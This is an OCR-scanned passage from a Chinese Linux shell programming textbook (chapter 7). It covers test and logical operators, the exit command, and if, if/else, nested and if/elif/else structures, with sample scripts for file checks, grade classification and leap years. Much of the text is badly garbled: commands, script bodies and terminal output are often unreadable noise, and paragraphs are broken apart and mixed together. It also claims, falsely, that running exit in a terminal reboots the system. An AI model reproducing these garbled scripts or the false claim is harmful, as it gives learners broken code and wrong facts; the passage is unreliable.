对 文件 进行 增加 或 减少 权限 。 下 面 的 例 7-14 是 一 个 文件 操作 符 与 chmod 命令 联 用 的 例子 。 
通过 ls 命令 可 以 看 出 ，file_exam2 文件 可 读 、 可 写 ， 但 不 可 执行 ， 通 过 chmod 命令 给 文件 
file_ exam2 增加 可 执行 权限 ， 然 后 通过 测试 可 以 看 出 文件 可 执行 了 。 




























































































#7-14: 显示 了 通过 chmod 命令 增 减 文件 权限 的 测试 结果 
[root@localhost Chapter7]# ls -1 
总 计 0 
二 BW EOOEE O00 el 
EW=T = Foo rooenonml 2301 2:24 exmaelel 
EW EoolEe oo on 2 :00 xan 
ES Loa 00 0 12-23 16:08 Fils Sa 
EW EGG EBD 0 12-23 1608 511e SS 
root@localhost Chapter7 [ ~x fileé exam2 | # 测 试 文件 file_exam2 是 否 可 执行 
root@localhost Chapter7 echo $2? 

# 退 出 状态 为 1， 说 明文 件 file_exam2 不 可 执行 








root@localhost Chapter7]# chmod a+x file exam2 # 给 文件 file exam2 增加 可 执行 权限 




















root@localhost Chapter7 [ -x file exam2 ] # 再 次 测试 文件 Eile exam2 是 否 可 执行 
root@localhost Chapter7 echo $2 
0 # 退 出 状态 为 0， 表示 文件 file exam2 现在 可 执行 了 


























root@localhost Chapter7 
Linux Shell 编程 中 还 有 其 他 的 测试 操作 符 ， 和 上 面 提 到 的 整数 比较 运算 符 、 字 符 串 运算 
符 和 文件 操作 符 组 合 使 用 ， 进 而 组 合成 复杂 的 测试 用 于 判断 或 循环 语句 中 。 


7.2.5 逻辑 运算 符 
逻辑 运 算 符 用 于 测试 多 个 条 件 是 否 为 真 或 为 假 ， 或 使 用 逻辑 非 测试 单个 表达 式 ， 这 些 运 
算 符 在 Shell 编程 中 经 常用 到 ， 这 些 条 件 一 般 是 和 测试 命令 联 用 。 这 些 运 算 符 主要 包括 逻辑 
非 、 逻 辑 与 、 逻 辑 或 运算 符 ， 具 体 描述 如 表 7-5 所 示 。 
表 7-5 逻辑 操作 符 
逻辑 操作 符 






































二 


















































! expression 4 expression 为 假 ， 则 测试 结果 为 真 
! expressi 如 果 expression 为 假 ， 则 测试 结果 为 真 








expressionl —a expression2 如 果 expressionl 和 expression 同时 为 真 ， 则 测试 结果 为 真 








expression]l -o expression2 如 果 expressionl 和 expression2 中 有 一 个 为 真 ， 则 测试 条 件 为 真 

















LBY/ 
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其 中 expression 为 一 个 表达 式 ， 该 表达 式 描述 了 








程 中 3 

















expEL 








会 被 执行 ， 








式 expr2 和 expr3， 








enexer Nexprs 








如 : 


exBr ocx oexeres 
只 要 exprl 为 真 ， 就 不 用 去 测试 表达 式 expr2 和 expr3， 只 有 exprl 为 假 时 才 去 判断 表达 
同样 ， 只 有 exprl 和 expr2 同时 为 假 时 ， 才 去 测试 expr3。 

算 的 “ 真 假 表 ” 用 它 表 示 exprl 和 expr2 的 不 同 组 合 时 ， 各 风 辑 运算 所 











表 7-6 为 逻辑 运 
得 到 的 值 。 
表 7-6 逻辑 运算 的 真 假 表 


! expr1 





不 是 所 有 的 运算 符 都 会 被 执行 ， 如 : 





! expr2 






































expr1 ~a expr2 





个 测试 条 件 。 在 逻辑 表达 式 的 运算 过 








只 有 当 表 达 式 exprl 为 真 时 , 才 会 接着 测试 expr2 的 值 为 真 , 同样 , 只 有 在 exprl 和 expr2 
为 真 时 ， 才 会 接着 测试 expr3 的 值 是 否 为 真 。 对 于 逻辑 或 的 运算 过 程 中 








也 不 是 所 有 的 语句 都 


expr1 -Oo expr2 

















下 面 的 例 7-15 是 
































操作 符 后 的 测试 结果 是 反 的 。 


0 











的 权限 操作 符 。 本 
file exam2 存在 而 
执行 权限 去 除 ， 通 过 测试 可 以 看 到 退出 
是 否 存在 和 是 否 可 读 ， 返 回 结果 为 假 。 可 以 看 日 
的 结果 就 为 假 。 


file exam3 


中 有 一 个 为 假 ， 则 最 终 


xcsaml 





例 7-152 一 个 闻 得 非 的 例 了 了 
root@localhnost Chnapter/ 


exmaple bl 


rootQlocallost enapterr 
rootQlocalhost Cnapteren, 
# 退 出 状态 为 1， 说明 文件 file exam 不 存在 是 假 的 
root@localhost Chapter7 
root@localhost Chapter7 ? 
# 退 出 状态 为 0， 说 明文 件 file_examl 存在 是 假 的 
root@localhost Chaptezr 7 
举 一 个 逻辑 与 的 例子 , 例 7-16 
侈 首先 测试 文件 file_exam2 是 否 存在 和 是 否 可 执行 ， 
可 执行 ， 所 以 ， 该 例 返 回 的 命令 为 真 ， 然 后 使 月 
状态 为 非 0， 最 后 ， 本 例 测试 一 个 不 存在 的 文件 


















































Ws 


examee meexam 
| 


echo $? 








个 逻辑 非 的 例子 , 该 例子 用 到 的 是 文件 操作 符 中 测试 的 文件 是 否 存 如 
的 例子 ， 该 例子 和 文件 操作 符 中 测试 文件 是 否 存 在 的 例子 对 比 ， 可 以 看 出 ， 测 试 加 上 逻辑 




















TIT 本 到 





# 使 用 风 辑 非 测试 一 个 存在 的 文件 





[ ! -e file examl ]  # 使 用 逻辑 非 测 试 一 个 不 存在 的 文件 


echo $? 





















































# 例 7-16: 一 个 逻辑 与 的 例子 
[eeotaLeocalhnos eenaetererlt ns 1 


ES 0 

EW 
EW 
ee 








同样 用 文人 








机 





F 操 作 符 中 的 文人 











是 否 存在 的 操作 符 和 文件 























1 CC Foo 0 12-23 22 Exe eenl 
eee oon 2 23012:24 eaelel 
oo oo 2 eee 











ls 命令 可 以 看 出 














日 chmod 命令 将 文件 的 可 





上 ， 对 于 逻辑 与 操作 符 ， 如 果 条 件 
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-rwxr-xr-x. 1 root root 0 12-23 16:08 file exam2 # 可 以 看 出 文件 file exam2 存在 且 可 执行 





# 测 试 文件 file_exam2 是 否 存在 且 可 执行 

















本 eolecahncse eh exam 3 lex 
[root@localhost Chapter7]# echo $2? 

0 # 退 出 状态 为 0， 说 明文 件 file_exam2 存在 且 可 读 

[ 





root@localhost Chapter7]# chmod a-x file exam2 将 文件 file exam2 的 可 执行 权限 去 除 
[root@localhost Chapter7]# ls -1 
I 


Ew 





ETEE .200 00 ee 
EW na 
ES 站 0 

1 0 


nooEN ooe 2 06 ea 


12-23 16:08 file exam2 # 可 以 看 出 现在 文件 file_ exam2 存在 但 不 可 执行 





EW 





roOOL EOOt 






































# 再 次 测试 文件 file_ exam2 是 否 存在 且 可 执行 

[ectoloealheos ec enatert et ay ex 
eoeenloealneos ena er seme 
1 

[ 





# 退 出 状态 为 1， 说 明文 件 file exam2 不 存在 或 不 可 执行 
root@localhost Chapter7]# 


下 面 的 例 7-17 是 一 个 逻辑 或 的 例子 ， 本 例 用 于 整数 比较 大 小 。 首 先 初 始 化 一 个 整数 变量 
值 为 15， 然 后 测试 该 整数 是 否 小 于 20 或 大 于 30， 测 试 结果 表示 该 测试 符合 条 件 ， 然 后 测试 
该 整数 是 否 小 于 5 或 大 于 10， 测 试 结果 表示 该 测试 符合 条 件 ; 最 后 测试 该 整数 是 否 小 于 10 
或 大 于 20， 测试 结果 表示 该 测试 不 符合 条 件 。 可 以 看 出 ， 对 于 逻辑 与 操作 ， 只 要 有 一 个 符合 
条 件 的 表达 式 ， 整 个 测试 条 件 就 为 真 。 

例 7=17: 一 个 逻辑 或 的 例子 
root@localhost Chapter7]# integerl=15 











山 | 

































































测试 整数 变量 ijnteger1l 是 否 小 于 20 或 大 于 30 

















rootQalocalhost Chapter7 lt | "ointegerl" IO 20 =~0 "$integqerl" ER 30°] 
rootQ@localhost Chapter7]# echo $2 

0 退出 状态 为 0， 表 示 整 数 变量 ijnteger 小 于 20 或 大 于 30 

测试 整数 变量 integer1l 是 否 小 于 5 或 大 于 10 

root@localhost Chapter7]# [ "$integerl™ = 5 EO "$integerl" =gt 10 | 
root@localhost Chapter/]# echo $2 

0 # 退 出 状态 为 0， 表 示 整 数 变 量 ijntegerl 小 于 5 或 大 于 10 





测试 整数 变量 integet1l 是 否 小 于 10 或 大 于 20 
rootQlocalhost Cnaeter7]t Tointegerl" Lt 0 oO "$integerl" -gt 20°] 
root@localhost Chapter7]# echo $2 

# 测 试 状态 为 1， 表示 整数 变量 integerl 大 于 10 且 小 于 20 
root@localhost Chapter7]# 


所 谓 判 断 ， 就 是 对 语句 中 不 同 的 条 件 进 行 测试 ， 进 而 根据 不 同 的 条 件 执行 不 同 的 语句 。 
过、then、else 语句 用 于 判断 给 定 的 条 件 是 否 满足 ， 可 用 于 判断 整数 比较 大 小 、 字 符 串 操作 、 
文件 操作 以 及 逻辑 运算 等 方面 ， 并 根据 测试 条 件 的 真 假 来 选择 相应 的 操作 。 














I 





























下 
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ifyelse 结构 仅仅 用 于 两 分 支 判 断 ， 但 在 实际 问题 中 常常 需要 多 分 支 的 选择 ， 所 以 ， 需 用 
到 if/else 语句 髓 套 、if/elif/else 和 case 多 分 支 选 择 判 断 结构 。 


7.3.1 简单 f 结构 


简单 的 站 语句 是 条 件 语句 的 一 种 形式 ， 它 针对 某 种 条 件 做 出 相应 的 处 理 
构 是 : 


if expression 
then 
command 




















最 简单 的 站 结 

















o 





command 


ab 

在 使 用 这 种 简单 的 证 结构 时 , 要 特别 注意 测试 条 件 后 如 有 果 没 有 “; ” 则 then 语句 要 换行 ， 
否则 会 产生 不 必要 的 错误 。 如 果 寺 和 then 可 以 处 于 同一 行 ， 则 必须 用 “;” 来 终止 站 语句， 
其 格式 为 : 


if expression; then 












































command 
command 


fi 
下 面 通过 一 个 简单 的 例子 来 说 明 站 的 用 法 , 例 7-18 中 使 用 了 整数 比较 运算 符 , 新 建 一 个 
证 examl.sh 的 脚本 ， 内 容 如 下 : 


# 例 7-18: if _examl .sh 脚本 判断 输入 的 数 是 否 小 于 15 
#!/bin/bash 























# 提 示 用 户 键 盘 输 入 一 个 整数 ， 
echo "Please input a integer: 


nm 


read integerl1 


# 判 断 输入 的 是 否 小 于 15， 小 于 15 时 将 执行 then 语句 
a | wane nes) 
then echo "The integer which you input is lower than 15."™ 
下 
例 7-18 中 脚本 让 examl.sh 的 执行 结果 如 下 所 示 : 
例 7-18 if examl.sh 脚本 的 执行 结果 
reoteneealnost cenaetery lt /eeraml sn 
Please input a integer: 
0 
The integer which you input is lower than 15. 
rootQlocalnost cnaptery | /Texaml sn 
Please input a integer: 
20 
root@localhost Chapter7]# 
脚本 站 exam1.sh 在 执行 时 ， 首 先 输入 了 一 个 小 于 15 的 值 ， 显 示 echo 语句 “The integer 
which you input is lower than 15.” 当 输 入 的 整数 值 大 于 或 等 于 15 时 , 将 不 执行 任何 操作 并 退 
出 让 结构 。 


上 而 的 例子 用 到 了 一 个 站 语句 ,在 实际 编程 的 过 程 中 可 能 用 很 多 判断 条 件 对 同一 个 整数 、 
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字符 串 、 文 件 等 进行 测试 ， 接 下 来 再 举 一 个 这 样 的 例子 ， 例 7-19 中 用 到 了 文件 操作 符 ， 新 建 
一 个 让 exam2.sh 脚本 ， 其 脚本 内 容 如 下 : 


# 例 7-19: if_exam2 .sh 脚本 用 于 创建 一 个 文件 ， 然 后 测试 是 否 创 建成 功 ， 并 测试 文件 权限 
#!/bin/bash 






































# 创 建 一 个 文件 if filel 
ee 








# 判 断 文件 i£f filel 是 否 创 建成 功 

Ee 

Ghengeeneom heetmlee niet ll ereateadsueeessm a 
Ea 


# 判 断 文 件 i£f filel 是 否 可 读 


LE Se tf folel | 
then echo "The file can read." 
EL 


# 判 断 文 件 if filel 是 否 可 写 
| 

them echnor The file can writes 
下 


# 判 断 文 件 if filel 是 否 可 执行 
el 

Chenyeseneom Ine tneseansxeeuten 

了 由 

列 7-19 中 脚本 让 exam2.sh 的 执行 结果 为 : 
例 7-19 if _exam2 .sh 脚本 的 执行 结果 
rootQlocalhnost chaeter /| Texam2 sn 
ene se ae ve est lly) 








The file can read. 
The file can write. 
root@localhost Chapter7]# 


却 本 证 exam2.sh 首先 用 touch 命令 创建 了 一 个 文件 下 filel, 然后 使 用 简单 的 站 结构 判断 
文件 if filel 是 否 创 建成 功 ， 如 果 创 建成 功 ， 将 显示 “The file if filel is created successfully!”， 
然后 测试 创建 的 文件 的 读 、 写 、 执 行 的 权限 。 由 脚本 的 执行 结果 可 以 看 出 ， 用 touch 命令 创 
建文 件 成 功 ， 同 时 创建 的 文件 让 filel 可 读 写 但 不 可 执行 。 







































































7.3.2 ”exit 命 合 
由 于 判断 语句 和 循环 语句 都 涉及 exit 命令 来 控制 程序 和 表达 式 的 流程 ， 所 以 ， 在 本 节 中 
将 介绍 exit 命令 作为 补充 。 现 在 有 的 编程 语言 中 一 般 都 会 有 一 个 exit 的 函数 ， 在 Linux Shell 
中 也 存在 这 样 的 内 建 命令 。 命 令 格 式 为 : 

exit status 
其 中 ，status 用 0 一 255 之 间 的 数字 表示 ， 一 般 返 回 该 状态 值 的 同时 伴随 着 脚本 的 退出 ， 
同 退 出 状态 一 样 ， 参 数 被 保存 在 Shell 变量 $? 中 ， 可 通过 echo 命令 进行 查询 。 要 注意 的 是 ， 
不 要 在 终端 运行 exit 命令 , 否则 将 会 导致 系统 重启 。 我 们 通过 例 7-20 来 说 明 exit 命令 的 用 法 ， 
新 建 一 个 exit exam.sh 的 脚本 ， 该 脚本 的 内 容 如 下 : 
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# 例 7-20: exit exam.sh 脚本 上 


#!/bin/bash 


# 提 示 用 户 输入 一 个 字符 串 





eeho please lineut ao strennog. 


read strl 


# 判 断 输入 的 字符 串 是 否 为 室 ， 为 空 是 执行 then 后 面世 





a | 
then 


senon Wet vomit ess 


extt 
fit 


例 7-20 中 脚本 exit_exam.sh 用 于 判断 从 键 
执行 结果 : 
例 7-20 exit exam.sh 脚本 的 执行 结果 

Eeoteneeennos ee en ter esamas 








Blease ono eos tr ne 
Helle WorJld! 


0 








Please input a string: 


WhevEe on nt 


Recetneealmeoe en eenen.s 


下 


[root@localhost Chapter7]# 
脚本 exit exam.sh 首先 输入 了 一 个 























不 为 空 , 没有 











is null!”， 同 时 返回 一 个 退出 状态 为 1” 该 退出 状态 值 是 在 脚本 中 设 


















































出 状态 值 。 所 以 ， 在 编写 脚本 时 可 以 
退出 状态 含义 ， 不 要 百 








7.3.3 if/else 结 
7.3.1 节 讲 解 了 简单 的 让 结构 ， 可 以 看 出 简单 的 这 结构 仅仅 上 
会 执行 then 后 面 的 命令 ， 如 果 不 满足 过 后 的 表达 式 ， 则 
本 的 交互 性 很 差 ， 所 以 ， 需 要 





























于 列 果 用户 输入 的 字符 






































衣 





root@localhost Chapter7]# echo $? 


reotolocalhnost cenaptery lt /exit lexans el 











为 空 。 下 面 是 这 个 脚本 的 


串 ， 可 以 看 到 退出 状态 为 0， 表 示 脚 本 输入 的 字 
执行 then 中 的 语句 , 然后 输入 了 一 个 空 学 符 串 , 返回 一 句 话 “What you input 





置 的 ， 不 是 系统 默认 的 退 












































L 用 ， 以 免 执 行 





























退出 状态 值 ， 不 过 特定 的 值 一 般 都 有 其 特定 的 
部 本 时 产生 误解 。 














能 满足 让 后 的 表达 式 时 才 
FE 何 命令 都 不 执行 ， 这 种 方式 使 得 脚 
杂 一 点 的 判断 结构 来 满足 脚本 的 交互 性 。 

















if/else 命令 是 双向 选择 语句 , 当 用 户 执行 脚本 时 , 如 果 不 满足 让 后 的 表达 式 , 也 会 执行 else 











后 的 命令 ， 所 以 ， 有 很 好 的 交互 性 。 
为 0， 则 执行 then 和 else 中 间 的 语句 ， 如 果 表 达 式 的 退 吕 
人 句 ，then 和 else、else 和 fi 中间 的 语句 可 以 是 单 


Wf Sressiond 
then 
command 























Pe ey 


该 结果 首先 判断 站 后 面 的 表达 式 ， 如 果 表 达 式 的 退出 状态 
状态 为 非 0， 则 执行 else 和 下 中 的 语 
个 命令 。 其 结构 为 : 
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else 
command 
command 
下 
下 面 将 通过 例 7-21 来 说 明 if/else 结构 的 用 法 ， 新 建 一 个 ifelse_exam1 脚本 ， 该 脚本 的 内 
容 如 下 : 











# 例 7-21: ”ifelse _ examl 脚本 用 于 判断 输入 的 文件 名 是 否 有 对 应 的 文件 是 否 存在 
#!/bin/bash 











#if 语句 用 于 判断 输入 的 文件 是 否 不 存在 ， 不 存在 执行 then 和 else 间 的 命令 
Te 
then 

sehne eleso ee ne ernie 

exit 1 


# 输 入 的 文件 存在 时 ， 执 行 else 和 fi 间 的 命令 


SLSe 





echo "file $1 exits." 
生 贞 
列 7-21 中 脚本 ilse examl.sh 的 执行 结果 为 : 

例 7-21 ifelse examl .sh 脚本 的 执行 结果 

判断 一 个 不 存在 的 文件 是 否 存在 的 情况 

Eeeeglecalmos enaceery/ 是 人 feelssEsamlssnenetexatftilsssn 
本 nn se 











root@localhost Chapter7 echo $2 


判断 一 个 存在 的 文件 是 否 存在 的 情况 


Soiliaeclnoaseeneiosse7 ./ifelse examl sh exit exam.sh 








ile ERE CRM en SlES. 
root@localhost Chapter7 echo $2? 
0 























reotaloecalneoseenater 
芭 本 ifelse_exam1.sh 首先 用 变量 $1 来 存储 用 户 输入 的 字符 串 , 该 字符 串 用 于 表示 文件 名 ， 
然后 通过 文件 操作 符 来 判断 输入 的 文件 名 对 应 的 文件 是 否 不 存在 于 当前 的 目录 中 ， 如 果 不 存 
在 ， 则 输出 当前 文件 不 存在 且 返 回 一 个 退出 状态 值 1。 如 果 当 前 的 文件 中 存在 该 文件 ， 则 显 
示 该 文件 存在 的 提示 信息 。 在 运行 该 脚本 时 ， 首 先是 输入 一 个 当前 目录 下 存在 的 文件 ， 其 执 
行 的 是 else 和 下 之 间 的 命令 ， 再 次 执行 该 脚本 ， 输 入 一 个 不 存在 的 目录 ， 然 后 进行 判断 ， 其 
执行 的 是 then 和 else 之 间 的 语句 ， 并 返回 一 个 退出 状态 值 1 。 

下 面 的 例 7-22 是 一 个 文件 删除 的 例子 ， 新 建 一 个 ifelse_exam2.sh 脚本 ， 该 脚本 的 内 容 如 下 : 

# 例 7-22: ifelse_exam2 .sh 脚本 用 于 删除 一 个 文件 并 判断 是 否 执行 了 该 操作 

#!/bin/bash 










































































































































































# 提 示 用 户 输入 要 删除 的 文件 
echo "Please input the file which you want to delete:" 
read file 


通过 if/else 结构 判断 文件 是 否 被 删除 
EPrm fF "eller 
then 
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echo "Delete the file $file sucessfully!" 
else 

echo "Delete the file $file failed!" 
| 





例 7-22 中 脚本 ifelse_exam2.sh 的 执行 结果 为 : 

# 例 7-22 ifelse exam2 .sh 脚本 的 执行 结果 
[xeot@localhost Chapter7]# toueh test.txt # 创 | 
[root@localhost Chapter7]# ls 

exataexanssh 


RISESEES a allel 


elseexamasn Texam2 si 


已 SEE 


examl sn 








建文 件 test .txt 


Eeeoseloelnest enapter le olseNexam sn 


[Eoot@localhnost Cnapter7y to /ifelse exam2e sh 
Please input the file which you want to delete: 
万 SSEEEE 








# 提 示 用 户 要 删除 的 文件 





Delete the file test.txt sucessfully! 
eecteoleal et en dee es # 文 件 删除 成 功 
0 Telseexambssn le el 


elseexamasin 
[root@localhost Chapter7]# 


ifelse_exam2.sh 脚本 在 执行 前 创建 了 一 个 测试 文 从 


四 TS 








F test.txt， 在 执行 该 脚本 时 ， 首 先 使 用 





ls 人 查询 当前 目录 下 的 所 有 文件 ， 然 后 执行 脚本 ， 输 入 要 删除 的 当前 目录 中 的 文件 test.txt， 可 
以 看 到 提示 文件 已 经 成 功 删 除 的 提示 ， 然 后 再 次 使 用 ls 命令 碍 询 当 前 的 目录 ,文件 已 经 成 功 









































地 删除 。 


7.3.4 ”if/else 语句 赂 套 
if/else 结构 只 能 判断 两 个 条 件 ,我 们 在 实际 的 Shell 



































编程 的 过 程 中 常常 需要 很 多 判断 条 件 ， 








如 果 需 要 同时 判断 三 个 或 三 个 以 上 的 条 件 时 ， 可 以 使 用 if/else 语句 的 套 ， 还 可 使 用 if/elif/else 








结构 和 case 命令 。 本 节 主 要 讲解 if/else 语句 典 套 ， 后 面 的 两 节 将 详细 介绍 if/elif/else 结构 和 


case 命令 。 


if/else 语句 舱 套 可 同时 判断 三 个 或 三 个 以 上 的 条 件 ， 





ESPpresesunal 
then 
if expression2 
then 
command 
command 


else 
command 
command 


全 
else 
TEqSxpressslons 
then 
command 
command 
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命令 标准 结构 如 下 : 











全 
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else 


command 
command 


I 














fi 

在 写 if/else 结构 髓 套 时 要 注意 这 与 else 的 配对 关系 ，else 语句 总 是 与 它 上 面 最 近 的 未 配 
对 的 让 配 对 。 我 们 在 实际 的 Shell 编程 过 程 有 时 不 需要 在 这 和 else 后 的 条 件 语 句 中 都 散 套 一 
个 ibelse 结构 , 应 随 着 我 们 的 编程 思路 来 定 。 下 面 的 例 7-23 是 一 个 if/else 结构 的 奏 套 的 例子 ， 
新 建 一 个 ifelse exam3.sh 脚本 ， 该 脚本 的 内 容 如 下 : 


# 例 7-23: ifelse_exam3. sh 脚本 用 于 检查 输入 的 字符 串 是 否 是 一 个 当前 目录 的 文件 名 
#!/bin/bash 






























































# 测 试用 户 输入 是 否 为 空 ， 然 后 判断 当前 目录 是 否 存在 该 文件 
下 
then 
eeheom Wine vou nut LS net ma 
i I es Ww 
then 
echo “The file $1 is existence !™ 




















else 
echo " The file $1 is not existence !" 

汪汪 
else 
Scene wheat you rE sor 
下 于 
网 7-23 中 脚本 ifelse_exam3.sh 首先 提示 用 户 输入 一 个 文件 名 , 然后 判断 输入 的 文件 是 否 
为 空 ， 不 为 空 时 ， 将 执行 让 后面 的 过 else 拒 套 ， 和 否则 将 提示 用 户 输入 的 文件 名 为 空 ， 该 脚本 
的 执行 结果 为 : 
列 7-23 ifelse exam3.sh 脚本 的 执行 结果 
root@localhost Chapter’ hs 





























eee si Se 
ntolsemexan2 sh Eel eeramnssnn emnsn 
ooealeocalnes en enatee ehmoaut < uelseexanssn 
Footelocalhose enaptery /ifelse exam sh TfelseNexam2 
Whalee you nue so el 
Thesr me rielsesexan ns extseEencen 
Eeeealnes ela er ./ifelse exam3.sh 
whaeeyeu inomnee sse 

















rootQ@localhost Chapter’ 
芭 本 ifelse_exam3.sh 首先 用 ls 命令 显示 了 当前 目录 下 所 有 的 文件 ， 然 后 首次 执行 脚本 3 
输入 一 个 当前 目录 存在 的 文件 名 ， 可 以 看 到 ， 提 示 用 户 输入 不 为 空 而 且 找到 相应 的 文件 ， 接 
着 再 次 执行 该 脚本 ， 输 入 一 个 不 存在 的 文件 名 或 目录 名 ， 可 以 看 到 提示 用 户 输入 不 为 空 ， 但 
输入 的 文件 名 对 应 的 文件 在 当前 目录 碍 询 不 到 ， 最 后 再 次 执行 了 该 脚本 ， 但 不 输入 任何 学 符 
串 ， 可 以 看 到 提示 用 户 输入 为 空 。 

当 这 else 结构 超过 两 路 判断 时 ， 需 要 在 else 后 不 断 地 髋 套 if/else 语句 ， 这 样 可 以 实现 多 
路 选择 , 这 里 举 一 个 这 样 的 例子 , 例 7-24 用 于 学 生成 绩 分 类 , 新 建 一 个 ifelse_exam4.sh 脚本 ， 
其 脚本 内 容 如 下 : 




























































































































































































3 Di 华 清 远 见 教 育 集团 官网 : ; 
D 清远 见 教育 集团 官网 : www. hqyj. com 
月 开 妙 





将 执行 下 面 的 操作 ,在 执行 





《Linux Shell 编程 从 初学 到 精通 》 


# 例 7-24: 
#!/bin/bash 


# 提 示 用 户 输入 分 数 〈0 一 100) 


echo "Please Input a integer (0-100): 


read score 





# 判 断 学 生 的 分 数 类 别 


ifelse_exam4 脚本 用 于 对 学 生成 绩 ; 











向 








m 


Ecoren TO cutscorerw ETOO 


then 


eehne neyseore whater ou not ine or eseorc ere mot 


else 
fueceorer qe 90 
then 
echo "The grade is 
else 
ere os 
then 


AInm 


80 ] 


echo "The grade is B!" 


else 
ne 
then 
echo "The 
else 
Ee 
then 


Weeerey 


echo "The grade is 


else 


echo "The grade is 


Et 
二 
a 
lb 
i 


例 7-24 中 脚本 ifelse exam4.sh 用 于 学 生 
79 分 为 C; 60 一 69 分 为 D， 小 于 60 分 为 上。 
例 7-24 ifelse exam4 脚本 的 执行 结果 





root@localhost Chapter7] 
reootQlocaullest enapteenl 
Please Input a integer (0- 
Se 

The grade is AI 
reotQlocaulleoste enaptesrenl 
Please Input a integer (0- 
3 

The grade 1s C! 
root@localhost Chapter7] 
Please Input a integer(0- 
000 


rootalocauost neaternl 
脚本 ifelse_exam4.sh 首先 提 








-ge 70 ] 


radenis el 


ze" -ge 60 ] 


DInm 


El" 





成 绩 分 类 





chmod utx ifelse exam4.sh 
/ifelse exam4desh 
Qe 


/Tfelse exam4deehn 
V0y: 


ifelse exama en 
QO 














“该 膨 


从 清远 见 


HQYJ.COM 





The Score what you input is not integer or the Score is not in 


示 用 户 输入 一 个 0 一 100 之 间 的 整数 , 当 用 户 输入 
本 时 输入 92 分 ， 可 以 看 到 学 生 





(QO 


,， 90 一 100 分 为 A; 80 一 89 分 为 B; 70 一 
下 面 是 该 脚本 的 执行 结 


(O00 


一 个 整数 后 





成 绩 为 A， 接 着 输入 了 一 个 分 





化 > 























集团 
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数 为 78 分 ， 可 以 看 到 该 学 生 的 成 绩 为 C， 然 后 输入 了 一 个 大 于 100 的 数 ， 可 以 看 到 提示 信息 


“The score what you input is not integer or the Score is not in (0-100).”。 





7.3.5 ”if/elif/else 结构 


由 脚本 ifelse_exam4.sh 可 以 看 出 ,使 用 ipelse 骨 套 在 Shell 编程 的 过 程 中 很 容易 漏 掉 then 
或 在 而 产生 错误 ， 而 且 可 读 性 很 差 ， 可 以 用 这 eligelse 结构 或 case 结果 代替 。ibpelipelse 结构 
针对 某 一 事件 的 多 种 情况 进行 处 理 。 通 常 表现 为 “如 果 满 足 某 种 条 件 ， 则 进行 某 种 处 理 ， 否 
则 接着 判断 另 一 个 条 件 ， 直 到 找到 满足 的 条 件 ， 然 后 执行 相应 的 处 理 ”。 其 语法 格式 为 : 


if expressionl 
then 
command 
















































































>- 





command 


elif expression2 
then 
command 
command 


elif expressionN 
then 
command 


command 
else 
command 
ee 
条 
可 以 看 出 ，ibelifelse 的 结构 比 ibelse 拒 套 结构 简单 了 很 多 ， 且 在 只 出 现 一 次 ， 这 样 的 结 
构 可 读 性 提高 了 很 多 。 在 该 结构 中 ， 要 特别 注意 表达 式 expression1 一 expressionN 都 必须 为 测 
试 条 件 ， 且 返回 一 个 退出 状态 。 在 执行 过 程 中 ， 如 果 第 一 个 表达 式 测试 的 退出 状态 为 非 0， 
则 尝试 执行 第 二 条 测试 条 件 ;， 同样， 第 二 条 如 果 测 试 的 退出 状态 为 非 0， 则 尝试 执行 第 三 条 
测试 条 件 ， 直 到 满足 退出 状态 为 0， 执 行 其 then 后 的 命令 ， 如 果 所 有 的 测试 条 件 都 失败 ， 则 
执行 else 中 的 命令 。 如 果 主 命令 后 仍 有 其 他 的 命令 ， 则 执行 在 后 的 命令 。 
例 7-25 是 用 这 种 结构 对 ifelse_exam4.sh 脚本 进行 改写 ， 新 建 一 个 ifelifelse_exam1.sh 的 
脚本 ， 其 脚本 内 容 如 下 : 


# 例 7-25: ifelifelse examl .sh 脚本 使 用 if/elif/else 结构 对 脚本 ifelse exam4 进行 改写 
#!/bin/bash 















































































































































# 提 示 用 户 输入 分 数 〈0 一 100) 
echo "Please Input a integer(0-100): " 
read scCore 





# 判 断 学 生 的 分 数 类 别 
re to conuseoreu ee eel.0m 
then 


seenom neoysecoreywha youn mo eo ns eo noanm(o T0000rm 
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elif "$score™" -ge 90 
then 

echo "The grade is 和 AI 
elif "$score" ge 80 
then 

echo "The grade is B!" 
elif "$score" -ge 70 
then 

echo "The grade is CI7 
elif "$score" ~ge 60 
then 


echo "The grade is D!™" 





echo "The grade is E!™" 
全 二 























下 面 是 脚本 ifelifelse_exam1.sh 的 执行 结果 ,该 脚本 同样 是 首先 提示 用 户 输入 一 个 0 一 100 
之 间 的 整数 ， 用户 输 入 一 个 整数 后 将 执行 下 面 的 判断 ; 当 用 户 输入 的 成 绩 为 73 分 时 , 可 以 看 



































到 学 生 的 成 绩 为 C， 接 着 再 输入 一 个 分 数 为 56 分 ， 可 以 看 到 该 学 生 的 成 绩 为 E， 当 输入 一 个 
大 于 100 的 整数 时 , 可 以 看 到 提示 信息 “The score what you input is not integer or the score is not 
in (0-100).” 由 此 可 以 看 出 ， 该 脚本 的 执行 结果 符合 脚本 ifelse_exam4.sh 的 执行 结果 。 由 于 


脚本 


编写 


户 输 





























例 7-25 ifelifelse examl. 
oceanos ehaptere 
Please Input a integer (0- 
了 

weace se 
root@localhost Chapter7] 
Please Input a intege (0- 
本 

The grade is E! 
root@localhost Chapter7] 
Please Input a integer (0- 
85 








reotaloeauost nepteerl 


为 了 更 好 地 理解 if/elif/else 























Pp 少 了 很 多 if/else 髋 套 和 下 命令 ， 所 以 ， 使 用 if/elif/else 结构 能 够 使 程序 比较 简洁 ， 在 
郑 本 的 过 程 中 出 错 的 可 能 性 降低 了 很 多 。 





s nh 脚本 的 执行 结果 
/ifelifelse examl sh 
00) : 


/ifelmftelse examl: SET 
00) : 


wifeliftelsed examnl sh 
00). 


ThneeSseore whete vouinouteise not enteger or terseorenmts not er L100 




















结构 ， 下 面 的 例 7-26 是 一 个 关于 此 结构 的 应 用 ， 用 于 判断 用 

















sb 














E 的 判断 条 件 是 ; 








(1) 能 被 4 整除 ， 但 不 能 被 100 整除 的 年 份 都 是 周年 。 

















(2) 能 被 100 整除 ， 但 又 和 





!/bin/bash 





提示 输入 年 份 
echo®> Please InpeutlaYyear 





read year 


# 设 置 取 余 参 数 














E 被 400 整除 的 年 份 是 半年 。 


新 建 一 个 脚本 ifelifelse_exam2.sh， 其 脚本 内 容 如 下 : 
例 7-26: ifelifelse exam2.sh 脚本 用 于 判断 输入 的 年 份 是 否 是 闲 年 




















m 
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let "nl=$year % 4" 
let "n2=$year % 100" 
let "n3=$year %400" 


# 判 断 输入 的 年 份 是 否 是 闲 年 
a a ee LO 
then 
leap=0 

eif 和 ona se ol 
then 
leap=1 

